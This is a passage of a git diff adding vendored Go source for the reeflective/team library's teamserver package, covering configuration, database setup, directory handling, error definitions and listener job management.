+ caFile, err := os.Stat(saveTo)
+ if !os.IsNotExist(err) && !caFile.IsDir() {
+ fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"File already exists: %s\n", err)
+ return
+ }
+
+ if !os.IsNotExist(err) && caFile.IsDir() {
+ filename := fmt.Sprintf("%s-%s.teamserver.ca", serv.Name(), "users")
+ saveTo = filepath.Join(saveTo, filename)
+ }
+
+ data, _ := json.Marshal(exportedCA)
+
+ err = os.WriteFile(saveTo, data, assets.FileWritePerm)
+ if err != nil {
+ fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Write failed: %s (%s)\n", saveTo, err)
+ return
+ }
+ }
+}
diff --git a/vendor/github.com/reeflective/team/server/config.go b/vendor/github.com/reeflective/team/server/config.go
new file mode 100644
index 0000000000..28a5ffbc23
--- /dev/null
+++ b/vendor/github.com/reeflective/team/server/config.go
@@ -0,0 +1,204 @@
+package server
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "encoding/hex"
+ "encoding/json"
+ "fmt"
+ insecureRand "math/rand"
+ "os"
+ "path/filepath"
+ "time"
+
+ "github.com/reeflective/team/internal/assets"
+ "github.com/reeflective/team/internal/command"
+ "github.com/sirupsen/logrus"
+)
+
+const (
+ blankHost = "-"
+ blankPort = uint16(0)
+ tokenLength = 32
+ defaultPort = 31416 // Should be 31415, but... go to hell with limits.
+)
+
+// Config represents the configuration of a given application teamserver.
+// It contains anonymous embedded structs as subsections, for logging,
+// daemon mode bind addresses, and persistent teamserver listeners
+//
+// Its default path is ~/.app/teamserver/configs/app.teamserver.cfg.
+// It uses the following default values:
+// - Daemon host: ""
+// - Daemon port: 31416
+// - logging file level: Info.
+type Config struct {
+ // When the teamserver command `app teamserver daemon` is executed
+ // without --host/--port flags, the teamserver will use the config.
+ DaemonMode struct {
+ Host string `json:"host"`
+ Port int `json:"port"`
+ } `json:"daemon_mode"`
+
+ // Logging controls the file-based logging level, whether or not
+ // to log TLS keys to file, and whether to log specific gRPC payloads.
+ Log struct {
+ Level int `json:"level"`
+ GRPCUnaryPayloads bool `json:"grpc_unary_payloads"`
+ GRPCStreamPayloads bool `json:"grpc_stream_payloads"`
+ TLSKeyLogger bool `json:"tls_key_logger"`
+ } `json:"log"`
+
+ // Listeners is a list of persistent teamserver listeners.
+ // They are started when the teamserver daemon command/mode is.
+ Listeners []struct {
+ Name string `json:"name"`
+ Host string `json:"host"`
+ Port uint16 `json:"port"`
+ ID string `json:"id"`
+ } `json:"listeners"`
+}
+
+// ConfigPath returns the path to the server config.json file, on disk or in-memory.
+func (ts *Server) ConfigPath() string {
+ appDir := ts.ConfigsDir()
+
+ err := ts.fs.MkdirAll(appDir, assets.DirPerm)
+ if err != nil {
+ ts.log().Errorf("cannot write to %s config dir: %s", appDir, err)
+ }
+
+ serverConfigPath := filepath.Join(appDir, fmt.Sprintf("%s.%s", ts.Name(), command.ServerConfigExt))
+
+ return serverConfigPath
+}
+
+// GetConfig returns the team server configuration as a struct.
+// If no server configuration file is found on disk, the default one is used.
+func (ts *Server) GetConfig() *Config {
+ cfgLog := ts.NamedLogger("config", "server")
+
+ if ts.opts.inMemory {
+ return ts.opts.config
+ }
+
+ configPath := ts.ConfigPath()
+ if _, err := os.Stat(configPath); !os.IsNotExist(err) {
+ cfgLog.Debugf("Loading config from %s", configPath)
+
+ data, err := os.ReadFile(configPath)
+ if err != nil {
+ cfgLog.Errorf("Failed to read config file %s", err)
+ return ts.opts.config
+ }
+
+ err = json.Unmarshal(data, ts.opts.config)
+ if err != nil {
+ cfgLog.Errorf("Failed to parse config file %s", err)
+ return ts.opts.config
+ }
+ } else {
+ cfgLog.Warnf("Teamserver: no config file found, using and saving defaults")
+ }
+
+ if ts.opts.config.Log.Level < 0 {
+ ts.opts.config.Log.Level = 0
+ }
+
+ if int(logrus.TraceLevel) < ts.opts.config.Log.Level {
+ ts.opts.config.Log.Level = int(logrus.TraceLevel)
+ }
+
+ // This updates the config with any missing fields
+ err := ts.SaveConfig(ts.opts.config)
+ if err != nil {
+ cfgLog.Errorf("Failed to save default config %s", err)
+ }
+
+ return ts.opts.config
+}
+
+// SaveConfig saves config file to disk.
+// This uses the on-disk filesystem even if the teamclient is in memory mode.
+func (ts *Server) SaveConfig(cfg *Config) error {
+ cfgLog := ts.NamedLogger("config", "server")
+
+ if ts.opts.inMemory {
+ return nil
+ }
+
+ configPath := ts.ConfigPath()
+ configDir := filepath.Dir(configPath)
+
+ if _, err := os.Stat(configDir); os.IsNotExist(err) {
+ cfgLog.Debugf("Creating config dir %s", configDir)
+
+ err := os.MkdirAll(configDir, assets.DirPerm)
+ if err != nil {
+ return ts.errorf("%w: %w", ErrConfig, err)
+ }
+ }
+
+ data, err := json.MarshalIndent(cfg, "", " ")
+ if err != nil {
+ return err
+ }
+
+ cfgLog.Debugf("Saving config to %s", configPath)
+
+ err = os.WriteFile(configPath, data, assets.FileReadPerm)
+ if err != nil {
+ return ts.errorf("%w: failed to write config: %s", ErrConfig, err)
+ }
+
+ return nil
+}
+
+func getDefaultServerConfig() *Config {
+ return &Config{
+ DaemonMode: struct {
+ Host string `json:"host"`
+ Port int `json:"port"`
+ }{
+ Port: defaultPort, // 31416
+ },
+ Log: struct {
+ Level int `json:"level"`
+ GRPCUnaryPayloads bool `json:"grpc_unary_payloads"`
+ GRPCStreamPayloads bool `json:"grpc_stream_payloads"`
+ TLSKeyLogger bool `json:"tls_key_logger"`
+ }{
+ Level: int(logrus.InfoLevel),
+ },
+ Listeners: []struct {
+ Name string `json:"name"`
+ Host string `json:"host"`
+ Port uint16 `json:"port"`
+ ID string `json:"id"`
+ }{},
+ }
+}
+
+func getRandomID() string {
+ seededRand := insecureRand.New(insecureRand.NewSource(time.Now().UnixNano()))
+ buf := make([]byte, tokenLength)
+ seededRand.Read(buf)
+
+ return hex.EncodeToString(buf)
+}
diff --git a/vendor/github.com/reeflective/team/server/core.go b/vendor/github.com/reeflective/team/server/core.go
new file mode 100644
index 0000000000..ea9f9a745e
--- /dev/null
+++ b/vendor/github.com/reeflective/team/server/core.go
@@ -0,0 +1,243 @@
+package server
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "os/user"
+ "path/filepath"
+ "runtime"
+ "sync"
+
+ "github.com/reeflective/team"
+ "github.com/reeflective/team/client"
+ "github.com/reeflective/team/internal/assets"
+ "github.com/reeflective/team/internal/certs"
+ "github.com/reeflective/team/internal/db"
+ "github.com/reeflective/team/internal/version"
+ "github.com/sirupsen/logrus"
+ "gorm.io/gorm"
+)
+
+// Server is the core driver of an application teamserver.
+// It is the counterpart to and plays a similar role than that
+// of the team/client.Client type, ie. that it provides tools
+// to any application/program to become a teamserver of itself.
+//
+// The server object can run on its own, without any teamclient attached
+// or connected: it fulfills the reeflective/team.Client interface, and
+// any teamserver can also be a client of itself, without configuration.
+//
+// The core job of the Server is to, non-exhaustively:
+// - Store and manage a list of users with a zero-trust identity system
+// (ie. public-key based), with ways to import/export these lists.
+// - Register, start and control teamserver listener/server stacks, for
+// many application clients to connect and consume the teamserver app.
+// - Offer version and user information to all teamclients.
+//
+// Additionally and similarly to the team/client.Client, it gives:
+// - Pre-configured loggers that listener stacks and server consumers
+// can use at any step of their application.
+// - Various options to configure its backends and behaviors.
+// - A builtin, app-specific abstracted filesystem (in-memory or on-disk).
+// - Additionally, an API to further register and control listeners.
+//
+// Various combinations of teamclient/teamserver usage are possible.
+// Please see the Go module example/ directory for a list of them.
+type Server struct {
+ // Core
+ name string // Name of the application using the teamserver.
+ homeDir string // APP_ROOT_DIR var, evaluated once when creating the server.
+ opts *opts // Server options
+ fs *assets.FS // Server filesystem, on-disk or embedded
+ initOpts sync.Once // Some options can only be set once when creating the server.
+
+ // Logging
+ fileLog *logrus.Logger // Can be in-memory if the teamserver is configured.
+ stdioLog *logrus.Logger // Logging level independent from the file logger.
+
+ // Users
+ userTokens *sync.Map // Refreshed entirely when a user is kicked.
+ certs *certs.Manager // Manages all the certificate infrastructure.
+ db *gorm.DB // Stores certificates and users data.
+ dbInit sync.Once // A single database can be used in a teamserver lifetime.
+
+ // Listeners and job control
+ initServe sync.Once // Some options can only have an effect at first start.
+ self Listener // The default listener stack used by the teamserver.
+ handlers map[string]Listener // Other listeners available by name.
+ jobs *jobs // Listeners job control
+}
+
+// New creates a new teamserver for the provided application name.
+// Only one such teamserver should be created an application of any given name.
+// Since by default, any teamserver can have any number of runtime clients, you
+// are not required to provide any specific server.Listener type to serve clients.
+//
+// This call to create the server only creates the application default directory.
+// No files, logs, connections or any interaction with the os/filesystem are made.
+//
+// Errors:
+// - All errors returned from this call are critical, in that the server could not
+// run properly in its most basic state, which may happen if the teamclient cannot
+// use and write to its on-disk directories/backends and log files.
+// No server is returned if the error is not nil.
+// - All methods of the teamserver core which return an error will always log this
+// error to the various teamserver log files/output streams, so that all actions
+// of teamserver can be recorded and watched out in various places.
+func New(application string, options ...Options) (*Server, error) {
+ server := &Server{
+ name: application,
+ opts: newDefaultOpts(),
+ userTokens: &sync.Map{},
+ jobs: newJobs(),
+ handlers: make(map[string]Listener),
+ }
+
+ server.apply(options...)
+
+ // Filesystem
+ user, _ := user.Current()
+ root := filepath.Join(user.HomeDir, "."+server.name)
+ server.fs = assets.NewFileSystem(root, server.opts.inMemory)
+
+ // Logging (if allowed)
+ if err := server.initLogging(); err != nil {
+ return nil, err
+ }
+
+ // Ensure we have a working database configuration,
+ // and at least an in-memory sqlite database.
+ if server.opts.dbConfig == nil {
+ server.opts.dbConfig = server.getDefaultDatabaseConfig()
+ }
+
+ if server.opts.dbConfig.Database == db.SQLiteInMemoryHost && server.db == nil {
+ if err := server.initDatabase(); err != nil {
+ return nil, server.errorf("%w: %w", ErrDatabase, err)
+ }
+ }
+
+ return server, nil
+}
+
+// Name returns the name of the application handled by the teamserver.
+// Since you can embed multiple teamservers (one for each application)
+// into a single binary, this is different from the program binary name
+// running this teamserver.
+func (ts *Server) Name() string {
+ return ts.name
+}
+
+// Self returns a new application team/client.Client (with the same app name),
+// using any provided options for client behavior.
+//
+// This teamclient implements by default the root team/Teamclient interface
+// (directly through the server), but passing user-specific dialer stack options
+// to this function and by providing the corresponding server options for your
+// pair, you can use in-memory clients which will use the complete RPC stack
+// of the application using this teamserver.
+// See the server.Listener and client.Dialer types documentation for more.
+func (ts *Server) Self(opts ...client.Options) *client.Client {
+ teamclient, _ := client.New(ts.Name(), ts, opts...)
+
+ return teamclient
+}
+
+// VersionClient implements team.Client.VersionClient() interface
+// method, so that the teamserver can be a teamclient of itself.
+// This simply returns the server.VersionServer() output.
+func (ts *Server) VersionClient() (team.Version, error) {
+ return ts.VersionServer()
+}
+
+// VersionServe returns the teamserver binary version information.
+func (ts *Server) VersionServer() (team.Version, error) {
+ semVer := version.Semantic()
+ compiled, _ := version.Compiled()
+
+ var major, minor, patch int32
+
+ if len(semVer) == 3 {
+ major = int32(semVer[0])
+ minor = int32(semVer[1])
+ patch = int32(semVer[2])
+ }
+
+ return team.Version{
+ Major: major,
+ Minor: minor,
+ Patch: patch,
+ Commit: version.GitCommit(),
+ Dirty: version.GitDirty(),
+ CompiledAt: compiled.Unix(),
+ OS: runtime.GOOS,
+ Arch: runtime.GOARCH,
+ }, nil
+}
+
+// Users returns the list of users in the teamserver database, and their information.
+// Any error raised during querying the database is returned, along with all users.
+func (ts *Server) Users() ([]team.User, error) {
+ if err := ts.initDatabase(); err != nil {
+ return nil, ts.errorf("%w: %w", ErrDatabase, err)
+ }
+
+ usersDB := []*db.User{}
+ err := ts.dbSession().Find(&usersDB).Error
+
+ users := make([]team.User, len(usersDB))
+
+ if err != nil && len(usersDB) == 0 {
+ return users, ts.errorf("%w: %w", ErrDatabase, err)
+ }
+
+ for i, user := range usersDB {
+ users[i] = team.User{
+ Name: user.Name,
+ LastSeen: user.LastSeen,
+ }
+
+ if _, ok := ts.userTokens.Load(user.Token); ok {
+ users[i].Online = true
+ }
+ }
+
+ return users, nil
+}
+
+// Filesystem returns an abstract filesystem used by the teamserver.
+// This filesystem can be either of two things:
+// - By default, the on-disk filesystem, without any specific bounds.
+// - If the teamserver was created with the InMemory() option, a full
+// in-memory filesystem (with root `.app/`).
+//
+// Use cases for this filesystem might include:
+// - The wish to have a fully abstracted filesystem to work for testing
+// - Ensuring that the filesystem code in your application remains the
+// same regardless of the underlying, actual filesystem.
+//
+// The type returned is currently an internal type because it wraps some
+// os.Filesystem methods for working more transparently: this may change
+// in the future if the Go stdlib offers write support to its new io/fs.FS.
+//
+// SERVER note: Runtime clients can run with the client.InMemory() option,
+// without any impact on the teamserver filesystem and its behavior.
+func (ts *Server) Filesystem() *assets.FS {
+ return ts.fs
+}
diff --git a/vendor/github.com/reeflective/team/server/db.go b/vendor/github.com/reeflective/team/server/db.go
new file mode 100644
index 0000000000..7886e776fd
--- /dev/null
+++ b/vendor/github.com/reeflective/team/server/db.go
@@ -0,0 +1,196 @@
+package server
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "encoding/json"
+ "fmt"
+ "os"
+ "path"
+ "path/filepath"
+
+ "github.com/reeflective/team/internal/assets"
+ "github.com/reeflective/team/internal/command"
+ "github.com/reeflective/team/internal/db"
+ "gorm.io/gorm"
+)
+
+const (
+ maxIdleConns = 10
+ maxOpenConns = 100
+)
+
+// Database returns a new teamserver database session, which may not be nil:
+// if no custom database backend was passed to the server at creation time,
+// this database will be an in-memory one. The default is a file-based Sqlite
+// database in the teamserver directory, but it might be a specific database
+// passed through options.
+func (ts *Server) Database() *gorm.DB {
+ return ts.db.Session(&gorm.Session{
+ FullSaveAssociations: true,
+ })
+}
+
+// DatabaseConfig returns the server database backend configuration struct.
+// If no configuration could be found on disk, the default Sqlite file-based
+// database is returned, with app-corresponding file paths.
+func (ts *Server) DatabaseConfig() *db.Config {
+ cfg, err := ts.getDatabaseConfig()
+ if err != nil {
+ return cfg
+ }
+
+ return cfg
+}
+
+// GetDatabaseConfigPath - File path to config.json.
+func (ts *Server) dbConfigPath() string {
+ appDir := ts.ConfigsDir()
+ log := ts.NamedLogger("config", "database")
+ dbFileName := fmt.Sprintf("%s.%s", ts.Name()+"_database", command.ServerConfigExt)
+ databaseConfigPath := filepath.Join(appDir, dbFileName)
+ log.Debugf("Loading config from %s", databaseConfigPath)
+
+ return databaseConfigPath
+}
+
+// Save - Save config file to disk. If the server is configured
+// to run in-memory only, the config is not saved.
+func (ts *Server) saveDatabaseConfig(cfg *db.Config) error {
+ if ts.opts.inMemory {
+ return nil
+ }
+
+ dblog := ts.NamedLogger("config", "database")
+
+ configPath := ts.dbConfigPath()
+ configDir := path.Dir(configPath)
+
+ if _, err := os.Stat(configDir); os.IsNotExist(err) {
+ dblog.Debugf("Creating config dir %s", configDir)
+
+ err := os.MkdirAll(configDir, assets.DirPerm)
+ if err != nil {
+ return err
+ }
+ }
+
+ data, err := json.MarshalIndent(cfg, "", " ")
+ if err != nil {
+ return err
+ }
+
+ dblog.Debugf("Saving config to %s", configPath)
+
+ return os.WriteFile(configPath, data, assets.FileReadPerm)
+}
+
+// getDatabaseConfig returns a working database configuration,
+// either fetched from the file system, adjusted with in-code
+// options, or a default one.
+// If an error happens, it is returned with a nil configuration.
+func (ts *Server) getDatabaseConfig() (*db.Config, error) {
+ log := ts.NamedLogger("config", "database")
+
+ // Don't fetch anything if running in-memory only.
+ config := ts.opts.dbConfig
+ if config.Database == db.SQLiteInMemoryHost {
+ return config, nil
+ }
+
+ configPath := ts.dbConfigPath()
+ if _, err := os.Stat(configPath); !os.IsNotExist(err) {
+ data, err := os.ReadFile(configPath)
+ if err != nil {
+ return nil, fmt.Errorf("Failed to read config file %w", err)
+ }
+
+ err = json.Unmarshal(data, config)
+ if err != nil {
+ return nil, fmt.Errorf("Failed to parse config file %w", err)
+ }
+ } else {
+ log.Warnf("Database: no config file found, using and saving defaults")
+ }
+
+ if config.MaxIdleConns < 1 {
+ config.MaxIdleConns = 1
+ }
+
+ if config.MaxOpenConns < 1 {
+ config.MaxOpenConns = 1
+ }
+
+ // This updates the config with any missing fields,
+ // failing to save is not critical for operation.
+ err := ts.saveDatabaseConfig(config)
+ if err != nil {
+ log.Errorf("Failed to save default config %s", err)
+ }
+
+ return config, nil
+}
+
+func (ts *Server) getDefaultDatabaseConfig() *db.Config {
+ cfg := &db.Config{
+ Dialect: db.Sqlite,
+ MaxIdleConns: maxIdleConns,
+ MaxOpenConns: maxOpenConns,
+
+ LogLevel: "warn",
+ }
+
+ if ts.opts.inMemory {
+ cfg.Database = db.SQLiteInMemoryHost
+ } else {
+ cfg.Database = filepath.Join(ts.TeamDir(), fmt.Sprintf("%s.teamserver.db", ts.name))
+ }
+
+ return cfg
+}
+
+// initDatabase should be called once when a teamserver is created.
+func (ts *Server) initDatabase() (err error) {
+ ts.dbInit.Do(func() {
+ dbLogger := ts.NamedLogger("database", "database")
+
+ if ts.db != nil {
+ err = ts.db.AutoMigrate(db.Schema()...)
+ return
+ }
+
+ ts.opts.dbConfig, err = ts.getDatabaseConfig()
+ if err != nil {
+ return
+ }
+
+ ts.db, err = db.NewClient(ts.opts.dbConfig, dbLogger)
+ if err != nil {
+ return
+ }
+ })
+
+ return err
+}
+
+func (ts *Server) dbSession() *gorm.DB {
+ return ts.db.Session(&gorm.Session{
+ FullSaveAssociations: true,
+ })
+}
diff --git a/vendor/github.com/reeflective/team/server/directories.go b/vendor/github.com/reeflective/team/server/directories.go
new file mode 100644
index 0000000000..af75c7b4bf
--- /dev/null
+++ b/vendor/github.com/reeflective/team/server/directories.go
@@ -0,0 +1,107 @@
+package server
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "os/user"
+ "path"
+ "path/filepath"
+
+ "github.com/reeflective/team/internal/assets"
+)
+
+// HomeDir returns the root application directory (~/.app/ by default).
+// This directory can be set with the environment variable _ROOT_DIR.
+// This directory is not to be confused with the ~/.app/teamserver directory
+// returned by the server.TeamDir(), which is specific to the app teamserver.
+func (ts *Server) HomeDir() string {
+ var dir string
+
+ // Note: very important not to combine the nested if here.
+ if !ts.opts.inMemory {
+ if ts.homeDir == "" {
+ user, _ := user.Current()
+ dir = filepath.Join(user.HomeDir, "."+ts.name)
+ } else {
+ dir = ts.homeDir
+ }
+ } else {
+ dir = "." + ts.name
+ }
+
+ err := ts.fs.MkdirAll(dir, assets.DirPerm)
+ if err != nil {
+ ts.log().Errorf("cannot write to %s root dir: %s", dir, err)
+ }
+
+ return dir
+}
+
+// TeamDir returns the teamserver directory of the app (named ~/./teamserver/),
+// creating the directory if needed, or logging an error event if failing to create it.
+// This directory is used to store teamserver certificates, database, logs, and configs.
+func (ts *Server) TeamDir() string {
+ dir := path.Join(ts.HomeDir(), ts.opts.teamDir)
+
+ err := ts.fs.MkdirAll(dir, assets.DirPerm)
+ if err != nil {
+ ts.log().Errorf("cannot write to %s root dir: %s", dir, err)
+ }
+
+ return dir
+}
+
+// LogsDir returns the log directory of the server (~/.app-server/logs), creating
+// the directory if needed, or logging a fatal event if failing to create it.
+func (ts *Server) LogsDir() string {
+ logDir := path.Join(ts.TeamDir(), assets.DirLogs)
+
+ err := ts.fs.MkdirAll(logDir, assets.DirPerm)
+ if err != nil {
+ ts.log().Errorf("cannot write to %s root dir: %s", logDir, err)
+ }
+
+ return logDir
+}
+
+// Configs returns the configs directory of the server (~/.app-server/logs), creating
+// the directory if needed, or logging a fatal event if failing to create it.
+func (ts *Server) ConfigsDir() string {
+ logDir := path.Join(ts.TeamDir(), assets.DirConfigs)
+
+ err := ts.fs.MkdirAll(logDir, assets.DirPerm)
+ if err != nil {
+ ts.log().Errorf("cannot write to %s root dir: %s", logDir, err)
+ }
+
+ return logDir
+}
+
+// CertificatesDir returns the directory storing users CA PEM files as backup,
+// (~/.app/teamserver/certs), either on-disk or in-memory if the teamserver is.
+func (ts *Server) CertificatesDir() string {
+ certDir := path.Join(ts.TeamDir(), assets.DirCerts)
+
+ err := ts.fs.MkdirAll(certDir, assets.DirPerm)
+ if err != nil {
+ ts.log().Errorf("cannot write to %s root dir: %s", certDir, err)
+ }
+
+ return certDir
+}
diff --git a/vendor/github.com/reeflective/team/server/errors.go b/vendor/github.com/reeflective/team/server/errors.go
new file mode 100644
index 0000000000..e050c35e00
--- /dev/null
+++ b/vendor/github.com/reeflective/team/server/errors.go
@@ -0,0 +1,83 @@
+package server
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import "errors"
+
+var (
+ //
+ // Filesystem errors.
+ //
+
+ // ErrDirectory is an error related to directories used by the teamserver.
+ ErrDirectory = errors.New("teamserver directory")
+
+ // ErrDirectoryUnwritable is an error returned when the teamserver checked for write permissions
+ // on a directory path it needs, and that the Go code of the teamserver has determined that the
+ // file is really non-user writable. This error is NEVER returned "because the path does not exist".
+ ErrDirectoryUnwritable = errors.New("The directory seems to be unwritable (to the app runtime)")
+
+ // ErrLogging is an error related with the logging backend.
+ // Some errors can be about writable files/directories.
+ ErrLogging = errors.New("logging")
+
+ // ErrSecureRandFailed indicates that the teamserver could not read from the system secure random source.
+ ErrSecureRandFailed = errors.New("failed to read from secure rand")
+
+ //
+ // Teamserver core errors.
+ //
+
+ // ErrConfig is an error related to the teamserver configuration.
+ ErrConfig = errors.New("teamserver config")
+
+ // ErrDatabaseConfig is an error related to the database configuration.
+ ErrDatabaseConfig = errors.New("teamserver database configuration")
+
+ // ErrDatabase is an error raised by the database backend.
+ ErrDatabase = errors.New("database")
+
+ // ErrTeamServer is an error raised by the teamserver core code.
+ ErrTeamServer = errors.New("teamserver")
+
+ // ErrCertificate is an error related to the certificate infrastructure.
+ ErrCertificate = errors.New("certificates")
+
+ // ErrUserConfig is an error related to users (teamclients) configuration files.
+ ErrUserConfig = errors.New("user configuration")
+
+ // ErrUnauthenticated indicates that a client user could not authenticate itself,
+ // whether at connection time, or when requesting server-side features/info.
+ ErrUnauthenticated = errors.New("User authentication failure")
+
+ //
+ // Listener errors.
+ //
+
+ // ErrNoListener indicates that the server could not find any listener/server
+ // stack to run when one of its .Serve*() methods were invoked. If such an error
+ // is raised, make sure you passed a server.Listener type with WithListener() option.
+ ErrNoListener = errors.New("the teamserver has no listeners to start")
+
+ // ErrListenerNotFound indicates that for a given ID, no running or persistent listener could be found.
+ ErrListenerNotFound = errors.New("no listener exists with ID")
+
+ // ErrListener indicates an error raised by a listener stack/implementation.
+ ErrListener = errors.New("teamserver listener")
+)
diff --git a/vendor/github.com/reeflective/team/server/jobs.go b/vendor/github.com/reeflective/team/server/jobs.go
new file mode 100644
index 0000000000..c2004fef6d
--- /dev/null
+++ b/vendor/github.com/reeflective/team/server/jobs.go
@@ -0,0 +1,227 @@
+package server
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "errors"
+ "fmt"
+ "net"
+ "sync"
+)
+
+// job - Manages background jobs.
+type job struct {
+ ID string
+ Name string
+ Description string
+ kill chan bool
+ Persistent bool
+}
+
+// jobs - Holds refs to all active jobs.
+type jobs struct {
+ active *sync.Map
+}
+
+func newJobs() *jobs {
+ return &jobs{
+ active: &sync.Map{},
+ }
+}
+
+// Add - Add a job to the hive (atomically).
+func (j *jobs) Add(listener *job) {
+ j.active.Store(listener.ID, listener)
+}
+
+// Get - Get a Job.
+func (j *jobs) Get(jobID string) *job {
+ if jobID == "" {
+ return nil
+ }
+
+ val, ok := j.active.Load(jobID)
+ if ok {
+ return val.(*job)
+ }
+
+ return nil
+}
+
+// Listeners returns a list of all running listener jobs.
+// If you also want the list of the non-running, persistent
+// ones, use the teamserver Config().
+func (ts *Server) Listeners() []*job {
+ all := []*job{}
+
+ // Active listeners
+ ts.jobs.active.Range(func(key, value interface{}) bool {
+ all = append(all, value.(*job))
+ return true
+ })
+
+ return all
+}
+
+// ListenerAdd adds a teamserver listener job to the teamserver configuration.
+// This function does not start the given listener, and you must call the server
+// ServeAddr(name, host, port) function for this.
+func (ts *Server) ListenerAdd(name, host string, port uint16) error {
+ listener := struct {
+ Name string `json:"name"`
+ Host string `json:"host"`
+ Port uint16 `json:"port"`
+ ID string `json:"id"`
+ }{
+ Name: name,
+ Host: host,
+ Port: port,
+ ID: getRandomID(),
+ }
+
+ if listener.Name == "" && ts.self != nil {
+ listener.Name = ts.self.Name()
+ }
+
+ ts.opts.config.Listeners = append(ts.opts.config.Listeners, listener)
+
+ return ts.SaveConfig(ts.opts.config)
+}
+
+// ListenerRemove removes a server listener job from the configuration.
+// This function does not stop any running listener for the given ID: you
+// must call server.CloseListener(id) for this.
+func (ts *Server) ListenerRemove(listenerID string) {
+ if ts.opts.config.Listeners == nil {
+ return
+ }
+
+ defer ts.SaveConfig(ts.opts.config)
+
+ var listeners []struct {
+ Name string `json:"name"`
+ Host string `json:"host"`
+ Port uint16 `json:"port"`
+ ID string `json:"id"`
+ }
+
+ for _, listener := range ts.opts.config.Listeners {
+ if listener.ID != listenerID {
+ listeners = append(listeners, listener)
+ }
+ }
+
+ ts.opts.config.Listeners = listeners
+}
+
+// ListenerClose closes/stops an active teamserver listener by ID.
+// This function can only return an ErrListenerNotFound if the ID
+// is invalid: all listener-specific options are logged instead.
+func (ts *Server) ListenerClose(id string) error {
+ listener := ts.jobs.Get(id)
+ if listener == nil {
+ return ts.errorf("%w: %s", ErrListenerNotFound, id)
+ }
+
+ listener.kill <- true
+
+ return nil
+}
+
+// ListenerStartPersistents attempts to start all listeners saved in the teamserver
+// configuration file, looking up the listener stacks in its map and starting them
+// for each bind target.
+// If the teamserver has been passed the WithContinueOnError() option at some point,
+// it will log all errors raised by listener stacks will still try to start them all.
+func (ts *Server) ListenerStartPersistents() error {
+ var listenerErrors error
+
+ log := ts.NamedLogger("teamserver", "listeners")
+
+ if ts.opts.config.Listeners == nil {
+ return nil
+ }
+
+ for _, ln := range ts.opts.config.Listeners {
+ handler := ts.handlers[ln.Name]
+ if handler == nil {
+ handler = ts.self
+ }
+
+ if handler == nil {
+ if !ts.opts.continueOnError {
+ return ts.errorf("Failed to find handler for `%s` listener (%s:%d)", ln.Name, ln.Host, ln.Port)
+ }
+
+ continue
+ }
+
+ err := ts.serve(handler, ln.ID, ln.Host, ln.Port)
+
+ if err == nil {
+ continue
+ }
+
+ log.Errorf("Failed to start %s listener (%s:%d): %s", ln.Name, ln.Host, ln.Port, err)
+
+ if !ts.opts.continueOnError {
+ return err
+ }
+
+ listenerErrors = errors.Join(listenerErrors, err)
+ }
+
+ return nil
+}
+
+func (ts *Server) addListenerJob(listenerID, name, host string, port int, ln net.Listener) {
+ log := ts.NamedLogger("teamserver", "listeners")
+
+ if listenerID == "" {
+ listenerID = getRandomID()
+ }
+
+ laddr := host
+ if port != 0 {
+ laddr = fmt.Sprintf("%s:%d", laddr, port)
+ }
+
+ if laddr == "" {
+ laddr = "runtime"
+ }
+
+ listener := &job{
+ ID: listenerID,
+ Name: name,
+ Description: laddr,
